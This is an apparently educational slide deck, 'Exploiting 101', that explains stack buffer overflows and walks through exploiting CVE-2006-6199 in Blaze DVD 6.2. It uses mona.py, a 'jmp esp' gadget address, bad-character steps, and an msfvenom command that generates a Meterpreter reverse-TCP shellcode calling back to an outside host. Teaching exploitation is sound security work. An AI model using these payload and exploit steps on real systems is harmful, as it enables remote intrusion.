Top Banner
25

Exploiting 101

Apr 13, 2017

Download

Technology

Ackcent
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Exploiting 101
Page 2: Exploiting 101

2

§ Exploiting: The art of take advantage of software vulnerabilities.

Page 3: Exploiting 101

3

−Stack Buffer Overflow

§ Integer Overflow§Off-by-one

−Heap Overflow

§Use after free

§Double Free

−Memory Leaks§Format String

Page 4: Exploiting 101

4

Page 5: Exploiting 101

5

−General Purpose: EAX,EBX, ECX, EDX

−Intruction Pointer: EIP−Frame Pointer: EBP

−Stack Pointer: ESP

Page 6: Exploiting 101

66

Main ParametersSaved EIPSaved EBP

P1 (4 bytes)

P2 (16 bytes)

High Address

Low Address

source (4 bytes)

dest (4 bytes)

Saved EIPSaved EBP

EBP, ESP

Mai

nst

ack

fram

eC

op

yDat

aS

tack

Fra

me

Page 7: Exploiting 101

7

§ Intel AT&T

Page 8: Exploiting 101

8

§ FastCall

− Use ECX and EDX to pass arguments. (from left to right)

− The rest of them through the stack. (from right to left)

§ Cdecl

− Arguments are passed on the stack. (from right to left)

− Used on C and C++.

− EAX, ECX, and EDX are caller-saved

− The rest are callee-saved.− The callee remove arguments from frame.

§ StdCall

− Callee is responsible for cleaning up the stack

− Parameters are pushed onto the stack in right-to-left order

− Used by Win32 Api Calls.

Page 9: Exploiting 101

9

Main ParametersSaved EIPSaved EBP

Modified (4 bytes)

P2 (16 bytes)

High Address

Low Address

source (4 bytes)

dest (4 bytes)

Saved EIPSaved EBP

EBP, ESP

Mai

nst

ack

fram

eC

op

yDat

aS

tack

Fra

me

Page 10: Exploiting 101

10

Page 11: Exploiting 101

11

Page 12: Exploiting 101

12

Page 13: Exploiting 101

13

Blaze DVD 6.2 (Latest version)http://www.blazevideo.com/dvd-player/

CVE-2006-6199File format Vulnerability with RCE via a Stack-Overflow.http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-6199

Page 14: Exploiting 101

14

ASLR DEP Stack-cookie

Page 15: Exploiting 101

15

!mona config -set workingfolder C:\Documents and Settings\test\Escritorio\Mona_results

Mona.py

Page 16: Exploiting 101

16

Immunity Debugger

Page 17: Exploiting 101

17

Metasploit

Page 18: Exploiting 101

18

Mona.py

Page 19: Exploiting 101

19

Log data, item 21Address=7C874413Message= 0x7c874413 : "jmp esp" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase:

False, SafeSEH: True, OS: True, v5.1.2600.5781 (C:\WINDOWS\system32\kernel32.dll)

Memory info:https://msdn.microsoft.com/es-es/library/windows/desktop/aa366786(v=vs.85).aspx

Page 20: Exploiting 101

20

./msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcpLHOST=172.16.192.1 LPORT=4444 -b '\x00\x0a\x1a' –f perl -o ~/Exploiting/Blaze\ DVD\ Example/shellcode_perl.pl

Page 21: Exploiting 101

21

Badchars: Every byte that could break the shellcode.

With Mona.py1. Obtain a badchar array:

1. !mona bytearray -b '\x00’2. Execute the exploit with the array as a shellcode.3. Compare memory

1. !mona compare -f C:\Documents and Settings\test\Escritorio\Mona_results\bytearray

Page 22: Exploiting 101

22

Trash_1• Separating ESP from Shellcode.• SUB ESP,20 = \x83\xec\x14

With Radare

High Address

Low Address

Shellcode

Trash_2

EIP

EIPESP - 20

Page 23: Exploiting 101

23

Executing Codewith Metasploit

Page 24: Exploiting 101

24

Woot!

Page 25: Exploiting 101

25